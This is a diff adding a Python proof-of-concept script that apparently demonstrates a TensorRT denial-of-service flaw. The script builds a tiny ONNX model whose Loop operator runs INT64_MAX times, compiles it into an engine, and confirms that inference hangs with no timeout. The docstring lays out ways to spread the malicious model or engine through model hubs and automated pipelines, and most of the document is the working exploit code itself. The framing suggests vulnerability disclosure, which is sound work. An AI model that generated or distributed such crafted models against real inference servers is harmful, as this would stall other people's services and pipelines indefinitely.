Upload vuln003_loop_dos.py with huggingface_hub

vuln003_loop_dos.py

@@ -0,0 +1,230 @@
+"""
+VULN-003 PoC: TensorRT Denial of Service via ONNX Loop with INT64_MAX Iterations
+
+A crafted ONNX model (338 bytes) containing a Loop operator with max_trip_count
+set to INT64_MAX (9,223,372,036,854,775,807) compiles into a valid TensorRT
+engine (20,252 bytes) that hangs indefinitely during inference.
+
+Attack vectors:
+1. ONNX model on model hub -> victim compiles to engine -> inference hangs
+2. Pre-compiled engine file on model hub -> victim loads -> inference hangs
+3. Automated ML pipeline ingests malicious model -> entire pipeline stalls
+
+Impact:
+- Permanent denial of service for TensorRT inference servers
+- No timeout mechanism in execute_async_v3() — hangs until process is killed
+- Tiny file size (338 bytes ONNX / 20KB engine) makes distribution trivial
+- Affects Triton Inference Server, TensorRT-LLM, any TRT-based pipeline
+"""
+import os
+import sys
+import time
+import subprocess
+import numpy as np
+import onnx
+from onnx import helper, TensorProto, numpy_helper
+
+POC_DIR = os.path.dirname(os.path.abspath(__file__))
+
+
+def create_loop_dos_model():
+    """Create minimal ONNX model with Loop(INT64_MAX)."""
+    # Loop body: Relu (trivial computation)
+    body_input = helper.make_tensor_value_info('i', TensorProto.INT64, [])
+    body_cond_in = helper.make_tensor_value_info('cond_in', TensorProto.BOOL, [])
+    body_x_in = helper.make_tensor_value_info('x_in', TensorProto.FLOAT, [1, 4])
+    body_cond_out = helper.make_tensor_value_info('cond_out', TensorProto.BOOL, [])
+    body_x_out = helper.make_tensor_value_info('x_out', TensorProto.FLOAT, [1, 4])
+
+    relu = helper.make_node('Relu', ['x_in'], ['x_out'])
+    identity_cond = helper.make_node('Identity', ['cond_in'], ['cond_out'])
+    body = helper.make_graph(
+        [relu, identity_cond], 'loop_body',
+        [body_input, body_cond_in, body_x_in],
+        [body_cond_out, body_x_out]
+    )
+
+    # Main graph
+    X = helper.make_tensor_value_info('input', TensorProto.FLOAT, [1, 4])
+    Y = helper.make_tensor_value_info('output', TensorProto.FLOAT, [1, 4])
+
+    # INT64_MAX = 9,223,372,036,854,775,807
+    max_trip = numpy_helper.from_array(
+        np.array(0x7FFFFFFFFFFFFFFF, dtype=np.int64), 'max_trip'
+    )
+    cond_init = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')
+
+    loop = helper.make_node(
+        'Loop', ['max_trip', 'cond_init', 'input'], ['output'],
+        body=body
+    )
+
+    graph = helper.make_graph([loop], 'loop_dos', [X], [Y], [max_trip, cond_init])
+    model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
+    model.ir_version = 7
+    return model
+
+
+def build_engine(model_path, engine_path):
+    """Build TensorRT engine from ONNX model."""
+    import tensorrt as trt
+
+    logger = trt.Logger(trt.Logger.WARNING)
+    builder = trt.Builder(logger)
+    network = builder.create_network(
+        1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)
+    )
+    parser = trt.OnnxParser(network, logger)
+
+    if not parser.parse_from_file(model_path):
+        for i in range(parser.num_errors):
+            print(f"  Parse error: {parser.get_error(i)}")
+        return False
+
+    config = builder.create_builder_config()
+    config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 1 << 24)
+
+    serialized = builder.build_serialized_network(network, config)
+    if not serialized:
+        print("  Build failed")
+        return False
+
+    with open(engine_path, 'wb') as f:
+        f.write(bytes(serialized))
+    return True
+
+
+def test_inference_subprocess(engine_path, timeout=30):
+    """Run inference in subprocess and measure hang time."""
+    script = f'''
+import tensorrt as trt, numpy as np, torch, time, sys
+
+with open(r"{engine_path}", "rb") as f:
+    data = f.read()
+
+logger = trt.Logger(trt.Logger.ERROR)
+runtime = trt.Runtime(logger)
+engine = runtime.deserialize_cuda_engine(data)
+if not engine:
+    print("DESER_FAIL")
+    sys.exit(1)
+
+context = engine.create_execution_context()
+device = torch.device("cuda:0")
+inp = torch.randn(1, 4, device=device)
+out = torch.empty(1, 4, device=device)
+context.set_tensor_address("input", inp.data_ptr())
+context.set_tensor_address("output", out.data_ptr())
+
+stream = torch.cuda.current_stream()
+print("INFERENCE_STARTED")
+sys.stdout.flush()
+start = time.time()
+context.execute_async_v3(stream.cuda_stream)
+stream.synchronize()
+elapsed = time.time() - start
+print(f"INFERENCE_DONE time={{elapsed:.1f}}s")
+'''
+    start = time.time()
+    try:
+        r = subprocess.run(
+            [sys.executable, "-c", script],
+            capture_output=True, text=True, timeout=timeout
+        )
+        elapsed = time.time() - start
+        return False, elapsed, r.stdout.strip(), r.returncode
+    except subprocess.TimeoutExpired:
+        elapsed = time.time() - start
+        return True, elapsed, "TIMEOUT", -1
+
+
+def main():
+    print("=" * 70)
+    print("VULN-003: TensorRT Inference DoS via ONNX Loop(INT64_MAX)")
+    print("=" * 70)
+
+    # Step 1: Create malicious ONNX model
+    model = create_loop_dos_model()
+    onnx_path = os.path.join(POC_DIR, "dos_loop.onnx")
+    with open(onnx_path, 'wb') as f:
+        f.write(model.SerializeToString())
+
+    onnx_size = os.path.getsize(onnx_path)
+    print(f"\n[1] Malicious ONNX model: {onnx_path}")
+    print(f"    Size: {onnx_size} bytes")
+    print(f"    Loop max_trip_count: {0x7FFFFFFFFFFFFFFF:,} (INT64_MAX)")
+    print(f"    Loop body: single Relu operation")
+
+    # Step 2: Build TensorRT engine
+    engine_path = os.path.join(POC_DIR, "dos_loop.engine")
+    print(f"\n[2] Building TensorRT engine...")
+    if not build_engine(onnx_path, engine_path):
+        print("    ERROR: Engine build failed")
+        sys.exit(1)
+
+    engine_size = os.path.getsize(engine_path)
+    print(f"    Engine: {engine_path}")
+    print(f"    Size: {engine_size} bytes")
+    print(f"    Build completed normally — no error, no warning")
+
+    # Step 3: Baseline — normal model inference
+    print(f"\n[3] Baseline: Normal model inference")
+    baseline_onnx = os.path.join(POC_DIR, "normal_loop.onnx")
+
+    # Normal loop with 10 iterations
+    body_input = helper.make_tensor_value_info('i', TensorProto.INT64, [])
+    body_cond_in = helper.make_tensor_value_info('cond_in', TensorProto.BOOL, [])
+    body_x_in = helper.make_tensor_value_info('x_in', TensorProto.FLOAT, [1, 4])
+    body_cond_out = helper.make_tensor_value_info('cond_out', TensorProto.BOOL, [])
+    body_x_out = helper.make_tensor_value_info('x_out', TensorProto.FLOAT, [1, 4])
+    relu = helper.make_node('Relu', ['x_in'], ['x_out'])
+    id_cond = helper.make_node('Identity', ['cond_in'], ['cond_out'])
+    body = helper.make_graph([relu, id_cond], 'body',
+                              [body_input, body_cond_in, body_x_in],
+                              [body_cond_out, body_x_out])
+    X = helper.make_tensor_value_info('input', TensorProto.FLOAT, [1, 4])
+    Y = helper.make_tensor_value_info('output', TensorProto.FLOAT, [1, 4])
+    trip = numpy_helper.from_array(np.array(10, dtype=np.int64), 'max_trip')
+    cond = numpy_helper.from_array(np.array(True, dtype=bool), 'cond_init')
+    loop = helper.make_node('Loop', ['max_trip', 'cond_init', 'input'], ['output'], body=body)
+    graph = helper.make_graph([loop], 'normal', [X], [Y], [trip, cond])
+    normal_model = helper.make_model(graph, opset_imports=[helper.make_opsetid('', 13)])
+    normal_model.ir_version = 7
+    with open(baseline_onnx, 'wb') as f:
+        f.write(normal_model.SerializeToString())
+
+    baseline_engine = os.path.join(POC_DIR, "normal_loop.engine")
+    build_engine(baseline_onnx, baseline_engine)
+
+    hung, elapsed, out, rc = test_inference_subprocess(baseline_engine, timeout=15)
+    print(f"    Normal model (10 iterations): {out} ({elapsed:.1f}s)")
+
+    # Step 4: DoS inference
+    print(f"\n[4] DoS inference (will hang for 30 seconds then be killed)")
+    hung, elapsed, out, rc = test_inference_subprocess(engine_path, timeout=30)
+    if hung:
+        print(f"    TIMEOUT after {elapsed:.1f}s — INFERENCE IS HANGING")
+        print(f"    [!!!] DoS CONFIRMED")
+    else:
+        print(f"    Inference completed: {out} ({elapsed:.1f}s)")
+
+    # Summary
+    print(f"\n{'='*70}")
+    print("VULNERABILITY SUMMARY")
+    print(f"{'='*70}")
+    print(f"[!!!] TensorRT inference hangs indefinitely on Loop(INT64_MAX)")
+    print(f"[!!!] ONNX model size: {onnx_size} bytes")
+    print(f"[!!!] Engine file size: {engine_size} bytes")
+    print(f"[!!!] Both formats can be used as DoS weapons")
+    print(f"[!!!] No timeout in execute_async_v3() — runs until process killed")
+    print(f"[!!!] Loop iterations: 9,223,372,036,854,775,807 (INT64_MAX)")
+    print(f"[!!!] Even at 1 billion iterations/sec, would take 292 YEARS")
+
+    # Cleanup temp files
+    for f in [baseline_onnx, baseline_engine]:
+        if os.path.exists(f):
+            os.remove(f)
+
+
+if __name__ == "__main__":
+    main()